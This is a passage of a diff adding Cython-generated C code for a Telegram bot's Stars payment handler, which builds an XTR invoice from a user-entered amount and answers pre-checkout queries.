__Pyx_GOTREF(__pyx_t_2); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 8; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_kp_u__15); + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_3, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 194, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_description, __pyx_t_2) < 0) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":195 + * title=f" {amount} .", + * description=f" {amount} .", + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], # <<<<<<<<<<<<<< + * provider_token="", + * payload=f"{amount}_stars", + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_LabeledPrice); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_label, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_13 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_8); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyNumber_Int(__pyx_t_13); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_amount, __pyx_t_8) < 0) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_8); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_8)) __PYX_ERR(0, 195, __pyx_L9_error); + __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_prices, __pyx_t_3) < 0) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_provider_token, __pyx_kp_u__16) < 0) __PYX_ERR(0, 193, __pyx_L9_error) + + /* "handlers/payments/stars_pay.py":197 + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], + * provider_token="", + * payload=f"{amount}_stars", # <<<<<<<<<<<<<< + * currency="XTR", + * reply_markup=builder.as_markup(), + */ + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 197, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_3, __pyx_n_u_stars_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 197, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_payload, __pyx_t_8) < 0) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_currency, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 193, __pyx_L9_error) + + /* "handlers/payments/stars_pay.py":199 + * payload=f"{amount}_stars", + * currency="XTR", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * except Exception as e: + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 199, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 199, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_8) < 0) __PYX_ERR(0, 193, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/stars_pay.py":192 + * InlineKeyboardButton(text=" ", callback_data="pay"), + * ) + * await message.answer_invoice( # <<<<<<<<<<<<<< + * title=f" {amount} .", + * description=f" {amount} .", + */ + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 192, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L15_resume_from_await:; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_12); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 192, __pyx_L9_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 192, __pyx_L9_error) + } + } + + /* "handlers/payments/stars_pay.py":184 + * ReplenishBalanceState.waiting_for_payment_confirmation_stars + * ) + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + } + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + goto __pyx_L14_try_end; + __pyx_L9_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/stars_pay.py":201 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * await message.answer(" .") + */ + __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_14) { + __Pyx_AddTraceback("handlers.payments.stars_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_8, &__pyx_t_1, &__pyx_t_9) < 0) __PYX_ERR(0, 201, __pyx_L11_except_error) + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_INCREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_e = __pyx_t_1; + /*try:*/ { + + /* "handlers/payments/stars_pay.py":202 + * ) + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * await message.answer(" .") + * else: + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 202, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 202, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 202, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u__17, __pyx_t_2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 202, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_13))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_13, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_15}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":203 + * except Exception as e: + * logger.error(f" : {e}") + * await message.answer(" .") # <<<<<<<<<<<<<< + * else: + * await message.answer(" . , :") + */ + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 203, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_15 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_13))) { + __pyx_t_15 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(__pyx_t_15)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + __Pyx_INCREF(__pyx_t_15); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_13, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_15, __pyx_kp_u__18}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L23_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_12); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 203, __pyx_L21_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 203, __pyx_L21_error) + } + } + } + + /* "handlers/payments/stars_pay.py":201 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * await message.answer(" .") + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L22; + } + __pyx_L21_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_14 = __pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + } + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __pyx_lineno = __pyx_t_14; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; + goto __pyx_L11_except_error; + } + __pyx_L22:; + } + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + goto __pyx_L10_exception_handled; + } + goto __pyx_L11_except_error; + + /* "handlers/payments/stars_pay.py":184 + * ReplenishBalanceState.waiting_for_payment_confirmation_stars + * ) + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + __pyx_L11_except_error:; + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_ExceptionReset(__pyx_t_10, __pyx_t_11, __pyx_t_12); + goto __pyx_L1_error; + __pyx_L10_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_ExceptionReset(__pyx_t_10, __pyx_t_11, __pyx_t_12); + __pyx_L14_try_end:; + } + + /* "handlers/payments/stars_pay.py":172 + * @router.message(ReplenishBalanceState.entering_custom_amount_stars) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount // RUB_TO_XTR <= 0: + */ + goto __pyx_L4; + } + + /* "handlers/payments/stars_pay.py":205 + * await message.answer(" .") + * else: + * await message.answer(" . , :") # <<<<<<<<<<<<<< + * + * + */ + /*else*/ { + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_kp_u__26}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L28_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 205, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 205, __pyx_L1_error) + } + } + } + __pyx_L4:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/stars_pay.py":170 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_AddTraceback("process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/stars_pay.py":208 + * + * + * @router.pre_checkout_query() # <<<<<<<<<<<<<< + * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): + * await pre_checkout_query.answer(ok=True) + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_13on_pre_checkout_query(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_9stars_pay_13on_pre_checkout_query = {"on_pre_checkout_query", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_9stars_pay_13on_pre_checkout_query, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_13on_pre_checkout_query(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_pre_checkout_query = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("on_pre_checkout_query (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_pre_checkout_query,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_pre_checkout_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 208, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "on_pre_checkout_query") < 0)) __PYX_ERR(0, 208, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_pre_checkout_query = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("on_pre_checkout_query", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 208, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.stars_pay.on_pre_checkout_query", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_9stars_pay_12on_pre_checkout_query(__pyx_self, __pyx_v_pre_checkout_query); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_12on_pre_checkout_query(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_pre_checkout_query) { + struct 